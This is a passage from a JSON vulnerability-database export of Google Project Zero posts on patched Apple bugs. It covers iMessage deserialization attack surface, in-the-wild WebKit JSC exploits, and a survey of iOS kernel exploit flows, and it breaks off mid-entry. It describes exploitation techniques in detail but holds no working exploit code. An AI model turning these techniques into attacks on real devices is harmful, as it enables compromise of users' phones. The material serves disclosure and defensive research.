It is also interesting to note that the _NSDataFileBackedFuture class is a hidden class. Classes do not need to be public or exported to be available for deserialization.\n\n** \n**\n\nAfter reviewing all the initWithCoder implementations, we started to wonder what happens if a subclass of an allowed class does not implement initWithCoder. It turns out that it follows normal inheritance rules. This means that it will use the initWithCoder implementation for its superclass, but then any method that the class has overridden will be called for the subclass. This turned out to be possible for many subclasses of the allowed classes, for example initWithCapacity: is a common method to implement and call. Some classes have checks that prevent inheritance, or more commonly, require direct inheritance (i.e. a subclass that overrides all needed methods is allowed, while a subclass that relies on some superclass implementations is not). This is something that needs to be reviewed on a class by class basis. We determined the classes available by loading the dyld_shared_cache into IDA, and running a [script](<https://bugs.chromium.org/p/project-zero/issues/attachment?aid=394697&signed_aid=5uFIpHlPCfZIwX_Or7gX0w==>) that inspects the Objective C metadata.\n\n** \n**\n\nOne vulnerability we found is [CVE-2019-8647](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1873&can=1&q=label%3AFinder-natashenka&colspec=ID%20Status%20Restrict%20Reported%20Vendor%20Product%20Finder%20Summary&start=100>). This vulnerability occurs when deserializing class _PFArray, which extends NSArray and implements [_PFArray initWithObjects:count:], which is called by [NSArray initWithCoder:]. This method assumes that all the objects in the array have references to them, which is likely the case for the intended use of this class, but is not the case during deserialization. This means that the array that contains objects that have already been freed can be created and used. It is likely that this class was never intended to be deserialized, and the availability of the method initWithObjects:count: for deserialization whenever its containing library is imported by a process that deserializes arrays is behaviour that its developer did not expect.\n\n** \n**\n\nWe reported a similar vulnerability, [CVE-2019-8662](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1874>) in a class that as far as we know is not imported into iMessage, but is likely imported by other applications that use deserialization.\n\n** \n**\n\nAnother interesting question about NSKeyedArchiver serialization is what happens if a serialized object contains a cycle. Fundamentally, the NSKeyedArchiver format is a plist file containing numeric references, so an object can reference itself, or there can be cycles involving multiple objects. Looking at the source in IDA, deserialization of an object works roughly as follows.\n\n** \n** \n\n\nif(temp_dict[key])\n\nreturn [temp_dict[key] copy];\n\nif(obj_dict[key])\n\nreturn [obj_dict[key] copy];\n\nNSObject* a = [NSSomeClass alloc];\n\ntemp_dict[key] = a; //No references!!\n\nNSObject* obj = [a initWithCoder:];\n\ntemp_dict[key] = NIL;\n\nobj_dict[key] = obj;\n\nreturn obj; \n \n--- \n \n** \n**\n\nSo the first time an object is deserialized, alloc is called on its class, and then the object returned by alloc is stored in a temporary dictionary that does not retain references to the object. Then initWithCoder is called on the allocated object. When that call is finished, the allocated object is removed from the temporary dictionary, and the object returned by initWithCoder is added to the permanent object dictionary, which does add a reference to the object.\n\n** \n**\n\nThere are a couple of problems with this scheme. First, there is no guarantee that initWithCoder returns the this object that it is called with, in fact, the documentation states specifically that this is not guaranteed to be the case. Moreover, initWithCoder is responsible for releasing the this object in the case where it is not returned. So theoretically, an initWithCoder implementation could free the object returned by alloc and then deserialize a field that could be a reference to that same object, which would lead to the reference that is returned being an invalid reference to freed memory. We looked, and did not find any initWithCoder implementations that have this problem in SpringBoard, but it is possible they exist in other applications, as this does not violate any documented restrictions on the behavior of initWithCoder implementations.\n\n** \n**\n\nAnother problem is if an initWithCoder implementation ends up deserializing itself and then using the object, it can use the object before the call is completed. This can cause problems if certain methods assume that an object is complete or will not change (because it could continue to change as the initWithCoder call completes).\n\n** \n**\n\nWe looked for vulnerabilities involving cycles and found two such bugs. The first is [CVE-2019-8641](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1881>), which we are not yet disclosing, because its fix did not fully remediate the issue. \n\n** \n**\n\nAnother issue that involves cycles in serialized objects was [CVE-2019-8660](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1884>). This vulnerability was in another subclass of NSDictionary, NSKnownKeysDictionary1. This is another optimized dictionary class that requires that keys be provided up front. In this case, the keys are provided as an instance of class NSKnownKeysMappingStrategy1, which deserializes the number of keys separately from the array containing the keys. The deserialized number of keys is checked to be consistent with the key array length after the keys are deserialized, so if a key is another instance of NSKnownKeysDictionary1, it can use the NSKnownKeysMappingStrategy1 instance before the key number has been checked. This allows for an integer overflow leading to memory corruption in [NSKnownKeysDictionary1 initWithCoder:]to be reachable when it otherwise wouldn\u2019t be.\n\n** \n**\n\nThe nature of NSKeyedArchiver serialization makes it extremely difficult to secure. Even if NSSecureCoding is enabled, NSKeyedArchiver serialization can unintentionally create extremely large attack surfaces. To give an example, what is the attack surface of the following call, if secure coding is enabled?\n\n** \n**\n\n[NSKeyedUnarchiver unarchivedObjectOfClasses:@[NSURL] fromData:mydata error:NIL];\n\n** \n**\n\nClearly, it includes the URL deserializer, [NSURL initWithCoder:] as well as any subclass deserializers implemented in the calling application, for example [NSMyURLSubClass initWithCoder:].\n\n** \n**\n\nBut it also includes any subclasses of NSURL in libraries that were imported by the application. For example, let\u2019s say that this application imports the UserNotifications framework. In that case, [UNSecurityScopedURL initWithCoder:], a subclass of NSURL would also be a part of the attack surface, even if the library was not imported for the purposes of serialization.\n\n** \n**\n\nLet\u2019s look a bit more at [NSURL initWithCoder:], which was discussed earlier. \n\n** \n**\n\n[NSURL initWithCoder:](NSURL *u, id decoder){\n\nNSData* book = [decoder decodeObjectOfClass:[NSData class] forKey:@\"NS.minimalBookmarkData\"];\n\nif(book)\n\nreturn [URLByResolvingBookmarkData:data];\n\nNSString* base = [decoder decodeObjectOfClass:[NSString class] forKey:@\"NS.base\"];\n\nNSString* relative = [decoder decodeObjectOfClass:[NSString class] forKey:@\"NS.relative\"];\n\nreturn [NSURL initWithString:base relativeToURL:relative];\n\n} \n \n--- \n \n** \n**\n\nIt contains three calls to decodeObjectOfClass:forKey:, decoding object of classes NSString, NSData and NSURL respectively. So [NSString initWithCoder:] and [NSData initWithCoder:] are now part of the attack surface. The [NSURL initWithCoder:] implementation will also parse the provided NSData object as a bookmark if it exists, so that is in the attack surface as well.\n\n** \n**\n\nThe attack surface now also includes subclasses of NSString and NSData too. Assuming that this application only imports the UserNotifications framework as well as Foundation and CoreFoundation which are typically mandatory, the following deserialization functions are now in the attack surface as they are subclasses of those two classes: [_NSDispatchData initWithCoder:], [__NSLocalizedString initWithCoder:], [NSLocalizableString initWithCoder:] and [UNLocalizedString initWithCoder:].\n\n** \n**\n\nLooking at these, there are two methods which allow even more classes. [UNLocalizedString initWithCoder:] deserializes an NSArray instance, meanwhile [__NSLocalizedString initWithCoder:] decodes objects of class NSDictionary, NSNumber and NSDate. We won\u2019t investigate the subclasses of these classes for the purposes of this example, but it\u2019s clear that they will allow even more classes, and increase the attack surface even more, as will the subclasses of those classes, and so on.\n\n** \n**\n\nThis is just considering the initWithCoder methods of the subclasses. Considering that any subclass of the allowed classes could be part of deserialization due to inheritance, the attack surface could be even larger. For example, [NSString initWithCoder:] can call [NSString initWithString:] or [NSString initWithBytes:length:encoding:] depending on what fields are deserialized, so both of those methods of subclasses are part of the attack surface. In this case, this includes [NSBigMutableString initWithString:], [NSDebugString initWithString:], [NSPlaceholderMutableString initWithBytes:length:encoding:] and [NSPlaceholderString initWithBytes:length:encoding:]. All the other allowed classes have a similar increase in attack surface due to inheritance.\n\n** \n**\n\nThis is an extremely large attack surface for decoding a URL which is probably just a string, and it is an attack surface that gets exponentially larger as an application grows. For example, imagine the impact of importing a few extra libraries on this attack surface. Or adding a few extra classes to the allow list. It\u2019s also relevant that classes from different frameworks that were never intended to be used together can be combined during serialization. For example, a URL can be decoded with a string subclass from another framework that contains a data object from another framework, and the resulting object can contain many properties that are of classes that were never intended or expected. The expansive attack surface of deserialization, as well as the many degrees of freedom that are available when deserializing objects from many frameworks are the reasons we found so many vulnerabilities in iMessage.\n\n## Conclusion\n\n \n\n\nWe investigated the remote attack surface of the iPhone, and reviewed SMS, MMS, VVM, Email and iMessage. Several tools which can be used to further test these attack surfaces were released. We reported a total of 10 vulnerabilities, all of which have since been fixed. The majority of vulnerabilities occurred in iMessage due to its broad and difficult to enumerate attack surface. Most of this attack surface is not part of normal use, and does not have any benefit to users. Visual Voicemail also had a large and unintuitive attack surface that likely led to a single serious vulnerability being reported in it. Overall, the number and severity of the remote vulnerabilities we found was substantial. Reducing the remote attack surface of the iPhone would likely improve its security.\n\n \n\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2019-08-07T00:00:00", "type": "googleprojectzero", "title": "\nThe Fully Remote Attack Surface of the iPhone\n", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8613", "CVE-2019-8624", "CVE-2019-8626", "CVE-2019-8641", "CVE-2019-8646", "CVE-2019-8647", "CVE-2019-8660", "CVE-2019-8661", "CVE-2019-8662", "CVE-2019-8663"], "modified": "2019-08-07T00:00:00", "id": "GOOGLEPROJECTZERO:EF1A7F815096A60102501F0E31BD67D4", "href": "https://googleprojectzero.blogspot.com/2019/08/the-fully-remote-attack-surface-of.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-07T02:00:23", "description": "Posted by Samuel Gro\u00df, Project Zero\n\n** \n** \n\n\nIn this post, we will take a look at the WebKit exploits used to gain an initial foothold onto the iOS device and stage the privilege escalation exploits. All exploits here achieve shellcode execution inside the sandboxed renderer process (WebContent) on iOS. Although Chrome on iOS would have also been vulnerable to these initial browser exploits, they were only used by the attacker to target Safari and iPhones. \n \nAfter some general discussion, this post first provides a short walkthrough of each of the exploited WebKit bugs and how the attackers construct a memory read/write primitive from them, followed by an overview of the techniques used to gain shellcode execution and how they bypassed existing JIT code injection mitigations, namely the \u201cbulletproof JIT\u201d. \n \nIt is worth noting that none of the exploits bypassed the new, PAC-based JIT hardenings that are enabled on A12 devices. The exploit writeups are sorted by the most recent iOS version the exploit supports as indicated by a version check in the exploit code itself. If that version check was missing from the exploit, the supported version range was guessed based on the date of the fix and the previous exploits. \n \nThe renderer exploits follow common practice and first gain memory read/write capabilities, then inject shellcode into the JIT region to gain native code execution. In general it seems that every time a new bug was necessary/available, the new bug was exploited for read/write and then plugged into the existing exploit framework. The exploits for the different bugs also appear to generally use common exploit techniques, e.g. by first creating [the addrof and fakeobj primitives](<http://www.phrack.org/papers/attacking_javascript_engines.html>), then faking JS objects to achieve read/write. \n \nFor many of the exploits it is unclear whether they were originally exploited as 0day or as 1day after a fix had already shipped. It is also unknown how the attackers obtained knowledge of the vulnerabilities in the first place. Generally they could have discovered the vulnerabilities themselves or used public exploits released after a fix had shipped. Furthermore, at least for WebKit, it is often possible to extract details of a vulnerability from the public source code repository before the fix has been shipped to users. [CVE-2019-8518](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1775>) can be used to highlight this problem (as can many other recent vulnerabilities). The vulnerability was publicly fixed in WebKit HEAD on Feb 9 2019 with commit [4a23c92e6883](<https://github.com/WebKit/webkit/commit/4a23c92e6883b230a437bcc09f94422d7df8756c>). This commit contains a testcase that triggers the issue and causes an out-of-bounds access into a JSArray - a scenario that is usually easy to exploit. However, the fix only shipped to users with the release of iOS 12.2 on March 25 2019, roughly one and a half months after details about the vulnerability were public. An attacker in possession of a working exploit for an older WebKit vulnerability would likely only need a few days to replace the underlying vulnerability and thus gain the capability to exploit up-to-date devices without the need to find new vulnerabilities themselves. It is likely that this happened for at least some of the following exploits. \n \nFor comparison, here is how other browser vendors deal with this \u201cpatch-gap\u201d or vulnerability window problem:\n\n * Google has this same problem with Chromium (e.g. commit [52a9e67a477b](<https://chromium.googlesource.com/v8/v8.git/+/52a9e67a477bdb67ca893c25c145ef5191976220>) fixing [CVE-2018-17463](<http://www.phrack.org/papers/jit_exploitation.html>) and including a PoC trigger). However, it appears that some recent bugfixes no longer include the JavaScript test cases commits. For example the following two fixes for vulnerabilities reported by our team member Sergey Glazunov: [aa00ee22f8f7](<https://chromium.googlesource.com/v8/v8.git/+/aa00ee22f8f7722b505fc24acf7e544dfe59ce77>) (for issue [1784](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1784>)) and [4edcc8605461](<https://chromium.googlesource.com/v8/v8.git/+/4edcc860546157cb35940663afb9af568595888f>) (for issue [1793](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1793>)). In the latter case, only a C++ test was added that tested the new behaviour without indication of how the vulnerable code could be reached.\n\n * Microsoft keeps security fixes in the open source Chakra engine private until the fixes have been shipped to users. The security fixes are then released and marked as such with a CVE identifier. See commit [7f0d390ad77d](<https://github.com/microsoft/ChakraCore/commit/7f0d390ad77d838cbb81d4586c83ec822f384ce8>) for an example of this. However, it should be noted that Chakra will soon be replaced by V8 (Chromium\u2019s JavaScript engine) in Edge.\n\n * Mozilla appears to hold back security fixes from the public repository until somewhat close to the next release. Furthermore, the commits usually do not include the JavaScript testcases used to trigger the vulnerability.\n\n \nHowever, it is worth noting that even if no JavaScript testcase is attached to the commit, it is often still possible to reconstruct a trigger (and ultimately an exploit) for the vulnerability from the code changes and/or commit message with moderate effort. \n\n\n## Exploit 1: iOS 10.0 until 10.3.2\n\nThis exploit targets CVE-2017-2505 which was originally reported by lokihardt as Project Zero issue [1137](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1137>) and fixed in WebKit HEAD with commit [4a23c92e6883](<https://github.com/WebKit/webkit/commit/4a23c92e6883b230a437bcc09f94422d7df8756c>) on Mar 11th 2017. The fix was then shipped to users with the release of iOS 10.3.2 on May 15th 2017, over two months later. \n \nOf interest, the exploit trigger is almost exactly the same as in the bug report and the regression test file in the WebKit repository. This can be seen in the following two images, the left one showing the testcase published in the WebKit code repository as part of the bugfix and the right showing the part of the in-the-wild exploit code that triggered the bug.\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh1tbfOduvmohIpzxmMnvuigdGr7pJ0e8YRLZUfhcamnjDCr3uzpbxEx-R5qkzvD6nM91xtJA98p-K1EwbHn250HNf2RksM814cgYVbymeQgnQCLse_SU08CFObyDtM0_pY3AczDuBOCiwrmUAdqqrdzLtVIY9ZdvLOMGTiNfhEmBAy2gSbKpD-5VQM/s2716/JSC%20DIFF.png>) The bug causes an out-of-bounds write to the JSC heap with controlled data. The attackers exploit this by corrupting the first QWord of a controlled JSObject, changing its Structure ID (which associates runtime type information with a JSCell) to make it appear as a Uint32Array instead. This way, they essentially create a fake TypedArray which directly allows them to construct a memory read/write primitive.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-08-29T00:00:00", "type": "googleprojectzero", "title": "\nJSC Exploits\n", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-2505", "CVE-2017-7064", "CVE-2018-17463", "CVE-2018-4122", "CVE-2018-4438", "CVE-2018-4442", "CVE-2019-6217", "CVE-2019-8518", "CVE-2019-8646"], "modified": "2019-08-29T00:00:00", "id": "GOOGLEPROJECTZERO:A46B3136EBE92DFE53548BB20EFF1ABC", "href": "https://googleprojectzero.blogspot.com/2019/08/jsc-exploits.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-06-07T02:00:35", "description": "Posted by Brandon Azad, Project Zero\n\n** \n**\n\nI recently found myself wishing for a single online reference providing a brief summary of the high-level exploit flow of every public iOS kernel exploit in recent years; since no such document existed, I decided to create it here.\n\n** \n**\n\nThis post summarizes original iOS kernel exploits from local app context targeting iOS 10 through iOS 13, focusing on the high-level exploit flow from the initial primitive granted by the vulnerability to kernel read/write. At the end of this post, we will briefly look at iOS kernel exploit mitigations (in both hardware and software) and how they map onto the techniques used in the exploits.\n\n** \n**\n\nThis isn't your typical P0 blog post: There is no gripping zero-day exploitation, or novel exploitation research, or thrilling malware reverse engineering. The content has been written as a reference since I needed the information and figured that others might find it useful too. You have been forewarned.\n\n# A note on terminology\n\nUnfortunately, there is no authoritative dictionary called \"Technical Hacking Terms for Security Researchers\", which makes it difficult to precisely describe some of the high-level concepts I want to convey. To that end, I have decided to ascribe the following terms specific meanings for the context of this post. If any of these definitions are at odds with your understanding of these terms, feel free to suggest improved terminology and I can update this post. :)\n\n** \n**\n\nExploit primitive: A capability granted during an exploit that is reasonably generic.\n\n** \n**\n\nA few examples of common exploit primitives include: n-byte linear heap overflow, integer increment at a controlled address, write-what-where, arbitrary memory read/write, PC control, arbitrary function calling, etc.\n\n** \n**\n\nA common exploit primitive specific to iOS kernel exploitation is having a send right to a fake Mach port (struct ipc_port) whose fields can be directly read and written from userspace.\n\n** \n**\n\nExploit strategy: The low-level, vulnerability-specific method used to turn the vulnerability into a useful exploit primitive.\n\n** \n**\n\nFor example, this is the exploit strategy used in Ian Beer's async_wake exploit for iOS 11.1.2:\n\n** \n**\n\nAn information leak is used to discover the address of arbitrary Mach ports. A page of ports is allocated and a specific port from that page is selected based on its address. The IOSurfaceRootUserClient bug is triggered to deallocate the Mach port, yielding a receive right to a dangling Mach port at a known (and partially controlled) address.\n\n** \n**\n\nThe last part is the generic/vulnerability-independent primitive that I interpret to be the end of the vulnerability-specific exploit strategy.\n\n** \n**\n\nTypically, the aim of the exploit strategy is to produce an exploit primitive which is highly reliable.\n\n** \n**\n\nExploit technique: A reusable and reasonably generic strategy for turning one exploit primitive into another (usually more useful) exploit primitive.\n\n** \n**\n\nOne example of an exploit technique is Return-Oriented Programming (ROP), which turns arbitrary PC control into (nearly) arbitrary code execution by reusing executable code gadgets.\n\n** \n**\n\nAn exploit technique specific to iOS kernel exploitation is using a fake Mach port to read 4 bytes of kernel memory by calling pid_for_task() (turning a send right to a fake Mach port into an arbitrary kernel memory read primitive).\n\n** \n**\n\nExploit flow: The high-level, vulnerability-agnostic chain of exploit techniques used to turn the exploit primitive granted by the vulnerability into the final end goal (in this post, kernel read/write from local app context).\n\n# Public iOS kernel exploits from app context since iOS 10\n\nThis section will give a brief overview of iOS kernel exploits from local context targeting iOS 10 through iOS 13. I'll describe the high-level exploit flow and list the exploit primitives and techniques used to achieve it. While I have tried to track down every original (i.e., developed before exploit code was published) public exploit available either as source code or as a sufficiently complete writeup/presentation, I expect that I may have missed a few. Feel free to reach out and suggest any that I have missed and I can update this post.\n\n** \n**\n\nFor each exploit, I have outlined the vulnerability, the exploit strategy (specific to the vulnerability), and the subsequent exploit flow (generic). The boundary between which parts of the exploit are specific to the vulnerability and which parts are generic enough to be considered part of the overall flow is subjective. In each case I've highlighted the particular exploitation primitive granted by the vulnerability that I consider sufficiently generic.\n\n## mach_portal - iOS 10.1.1\n\nBy Ian Beer of Google Project Zero ([@i41nbeer](<https://twitter.com/i41nbeer>)). \n\n** \n**\n\nThe vulnerability: CVE-2016-7644 is a race condition in XNU's set_dp_control_port() which leads to a Mach port being over-released.\n\n** \n**\n\nExploit strategy: Many Mach ports are allocated and references to them are dropped by racing set_dp_control_port() (it is possible to determine when the race has been won deterministically). The ports are freed by dropping a stashed reference, leaving the process holding receive rights to dangling Mach ports filling a page of memory.\n\n** \n**\n\nSubsequent exploit flow: A zone garbage collection is forced by calling mach_zone_force_gc() and the page of dangling ports is reallocated with an out-of-line (OOL) ports array containing pointers to the host port. mach_port_get_context() is called on one of the dangling ports to disclose the address of the host port. Using this value, it is possible to guess the page on which the kernel task port lives. The context value of each of the dangling ports is set to the address of each potential ipc_port on the page containing the kernel task port, and the OOL ports are received back in userspace to give a send right to the kernel task port.\n\n** \n**\n\nReferences: [mach_portal exploit code](<https://bugs.chromium.org/p/project-zero/issues/detail?id=965#c2>).\n\n## In-the-wild iOS Exploit Chain 1 - iOS 10.1.1\n\nDiscovered in-the-wild by Cl\u00e9ment Lecigne ([@_clem1](<https://twitter.com/_clem1>)) of Google's Threat Analysis Group. Analyzed by Ian Beer and Samuel Gro\u00df ([@5aelo](<https://twitter.com/5aelo>)) of Google Project Zero.\n\n** \n**\n\nThe vulnerability: The vulnerability is a linear heap out-of-bounds write of IOAccelResource pointers in the IOKit function AGXAllocationList2::initWithSharedResourceList().\n\n** \n**\n\nExploit strategy: The buffer to be overflowed is placed directly before a recv_msg_elem struct, such that the out-of-bounds write will overwrite the uio pointer with an IOAccelResource pointer. The IOAccelResource pointer is freed and reallocated with a fake uio struct living at the start of an OSData data buffer managed by IOSurface properties. The uio is freed, leaving a dangling OSData data buffer accessible via IOSurface properties.\n\n** \n**\n\nSubsequent exploit flow: The dangling OSData data buffer slot is reallocated with an IOSurfaceRootUserClient instance, and the data contents are read via IOSurface properties to give the KASLR slide, the address of the current task, and the address of the dangling data buffer/IOSurfaceRootUserClient. Then, the data buffer is freed and reallocated with a modified version of the IOSurfaceRootUserClient, such that calling an external method on the modified user client will return the address of the kernel task read from the kernel's __DATA segment. The data buffer is freed and reallocated again such that calling an external method will execute the OSSerializer::serialize() gadget, leading to an arbitrary read-then-write that stores the address of the kernel task port in the current task's list of special ports. Reading the special port from userspace gives a send right to the kernel task port.\n\n** \n**\n\nReferences: [In-the-wild iOS Exploit Chain 1 - AGXAllocationList2::initWithSharedResourceList heap overflow](<https://googleprojectzero.blogspot.com/2019/08/in-wild-ios-exploit-chain-1.html>).\n\n## extra_recipe - iOS 10.2\n\nBy Ian Beer.\n\n** \n**\n\nThe vulnerability: CVE-2017-2370 is a linear heap buffer overflow reachable from unprivileged contexts in XNU's mach_voucher_extract_attr_recipe_trap() due to an attacker-controlled userspace pointer used as the length in a call to copyin().\n\n** \n**\n\nExploit strategy: The vulnerable Mach trap is called to create a kalloc allocation and immediately overflow out of it with controlled data, corrupting the ikm_size field of a subsequent ipc_kmsg object. This causes the ipc_kmsg, which is the preallocated message for a Mach port, to believe that it has a larger capacity than it does, overlapping it with the first 240 bytes of the subsequent allocation. By registering the Mach port as the exception port for a userspace thread and then crashing the thread with controlled register state, it is possible to repeatedly and reliably overwrite the overlapping part of the subsequent allocation, and by receiving the exception message it is possible to read those bytes. This gives a controlled 240-byte out-of-bounds read/write primitive off the end of the corrupted ipc_kmsg.\n\n** \n**\n\nSubsequent exploit flow: A second ipc_kmsg is placed after the corrupted one and read in order to determine the address of the allocations. Next an AGXCommandQueue user client is reallocated in the same slot and the virtual method table is read to determine the KASLR slide. Then the virtual method table is overwritten such that a virtual method call on the AGXCommandQueue invokes the OSSerializer::serialize() gadget, producing a 2-argument arbitrary kernel function call primitive. Calling the function uuid_copy() gives an arbitrary kernel read/write primitive.\n\n** \n**\n\nReferences: [Exception oriented exploitation on iOS](<https://googleprojectzero.blogspot.com/2017/04/exception-oriented-exploitation-on-ios.html>), [extra_recipe exploit code](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1004#c4>).\n\n## Yalu102 - iOS 10.2\n\nBy Luca Todesco ([@qwertyoruiopz](<https://twitter.com/qwertyoruiopz>)) and Marco Grassi ([@marcograss](<https://twitter.com/marcograss>)).\n\n** \n**\n\nThe vulnerability: CVE-2017-2370 (same as above).\n\n** \n**\n\nExploit strategy: The vulnerable Mach trap is called to create a kalloc allocation and immediately overflow out of it with controlled data, overwriting the contents of an OOL port array and inserting a pointer to a fake Mach port in userspace. Receiving the message containing the OOL ports yields a send right to the fake Mach port whose contents can be controlled directly.\n\n** \n**\n\nSubsequent exploit flow: The fake Mach port is converted into a clock port and clock_sleep_trap() is used to brute force a kernel image pointer. Then the port is converted into a fake task port to read memory via pid_for_task(). Kernel memory is scanned backwards from the leaked kernel image pointer until the kernel text base is located, breaking KASLR. Finally, a fake kernel task port is constructed.\n\n** \n**\n\nNotes: The exploit does not work with PAN enabled.\n\n** \n**\n\nReferences: [Yalu102 exploit code](<https://github.com/kpwn/yalu102>).\n\n## ziVA - iOS 10.3.1\n\nBy Adam Donenfeld ([@doadam](<https://twitter.com/doadam>)) of Zimperium.\n\n** \n**\n\nThe vulnerability: Multiple vulnerabilities in AppleAVE2 due to external methods sharing IOSurface pointers with userspace and trusting IOSurface pointers read from userspace.\n\n** \n**\n\nExploit strategy: An IOSurface object is created and an AppleAVE2 external method is called to leak its address. The vtable of an IOFence pointer in the IOSurface is leaked using another external method call, breaking KASLR. The IOSurface object is freed and reallocated with controlled data using an IOSurface property spray. Supplying the leaked pointer to an AppleAVE2 external method that trusts IOSurface pointers supplied from userspace allows hijacking a virtual method call on the fake IOSurface; this is treated as a oneshot hijacked virtual method call with a controlled target object at a known address.\n\n** \n**\n\nSubsequent exploit flow: The hijacked virtual method call is used with the OSSerializer::serialize() gadget to call copyin() and overwrite 2 sysctl_oid structs. The sysctls are overwritten such that reading the first sysctl calls copyin() to update the function pointer and arguments for the second sysctl and reading the second sysctl uses the OSSerializer::serialize() gadget to call the kernel function with 3 arguments. This 3-argument arbitrary kernel function call primitive is used to read and write arbitrary memory by calling copyin()/copyout().\n\n** \n**\n\nNotes: iOS 10.3 introduced the initial form of task_conversion_eval(), a weak mitigation that blocks userspace from accessing a right to the real kernel task port. Any exploit after iOS 10.3 needs to build a fake kernel task port instead.\n\n** \n**\n\nReferences: [Ro(o)tten Apples](<https://www.blackhat.com/docs/eu-17/materials/eu-17-Donenfeld-Rooten-Apples-Vulnerability-Heaven-In-The-IOS-Sandbox.pdf>), [ziVA exploit code](<https://github.com/doadam/ziVA>).\n\n## async_wake - iOS 11.1.2\n\nBy Ian Beer.\n\n** \n**\n\nThe vulnerability: CVE-2017-13861 is a vulnerability in IOSurfaceRootUserClient::s_set_surface_notify() that causes an extra reference to be dropped on a Mach port. CVE-2017-13865 is a vulnerability in XNU's proc_list_uptrs() that leaks kernel pointers by failing to fully initialize heap memory before copying out the contents to userspace.\n\n** \n**\n\nExploit strategy: The information leak is used to discover the address of arbitrary Mach ports. A page of ports is allocated and a specific port from that page is selected based on its address. The port is deallocated using the IOSurfaceRootUserClient bug, yielding a receive right to a dangling Mach port at a known (and partially controlled) address.\n\n** \n**\n\nSubsequent exploit flow: The other ports on that page are freed and a zone garbage collection is forced so that the page is reallocated with the contents of an ipc_kmsg, giving a fake Mach port with controlled contents at a known address. The reallocation converted the port into a fake task port through which arbitrary kernel memory can be read using pid_for_task(). (The address to read is updated without reallocating the fake port by using mach_port_set_context().) Relevant kernel objects are located using the kernel read primitive and the fake port is reallocated again with a fake kernel task port.\n\n** \n**\n\nNotes: iOS 11 removed the mach_zone_force_gc() function which allowed userspace to prompt the kernel to perform a zone garbage collection, reclaiming all-free virtual pages in the zone map for use by other zones. Exploits for iOS 11 and later needed to develop a technique to force a zone garbage collection. At least three independent techniques have been developed to do so, demonstrated in async_wake, v0rtex, and In-the-wild iOS exploit chain 3.\n\n** \n**\n\nReferences: [async_wake exploit code](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1417#c17>).\n\n## In-the-wild iOS Exploit Chain 2 - iOS 10.3.3\n\nDiscovered in-the-wild by Cl\u00e9ment Lecigne. Analyzed by Ian Beer and Samuel Gro\u00df.\n\n** \n**\n\nThe vulnerability: CVE-2017-13861 (same as above).\n\n** \n**\n\nExploit strategy: Two Mach ports, port A and port B, are allocated as part of a spray. The vulnerability is triggered to drop a reference on port A, and the ports surrounding A are freed, leading to a dangling port pointer. Zone garbage collection is forced by calling mach_zone_force_gc() and the page containing port A is reallocated with an OOL ports spray containing a pattern such that port A's ip_context field overlaps a pointer to port B. Calling mach_port_get_context() gives the address of port B. The vulnerability is triggered again with port B, leading to a receive right to a dangling Mach port at a known address.\n\n** \n**\n\nSubsequent exploit flow: After another zone garbage collection, the dangling port B is reallocated with a segmented OOL memory spray such that calling mach_port_get_context() can identify which 4 MB segment of the spray reallocated port B. That segment is freed and port B is reallocated with pipe buffers, giving a controlled fake Mach port at a known address. The fake port is converted into a clock port and clock_sleep_trap() is used to brute force KASLR. The fake port is next converted into a fake task port and a 4-byte kernel read primitive is established using pid_for_task(). Finally, the fake port is converted into a fake kernel task port.\n\n** \n**\n\nReferences: [In-the-wild iOS Exploit Chain 2 - IOSurface](<https://googleprojectzero.blogspot.com/2019/08/in-wild-ios-exploit-chain-2.html>).\n\n## v0rtex - iOS 10.3.3\n\nBy Siguza ([@S1guza](<https://twitter.com/s1guza>)).\n\n** \n**\n\nThe vulnerability: CVE-2017-13861 (same as above).\n\n** \n**\n\nExploit strategy: Mach ports are 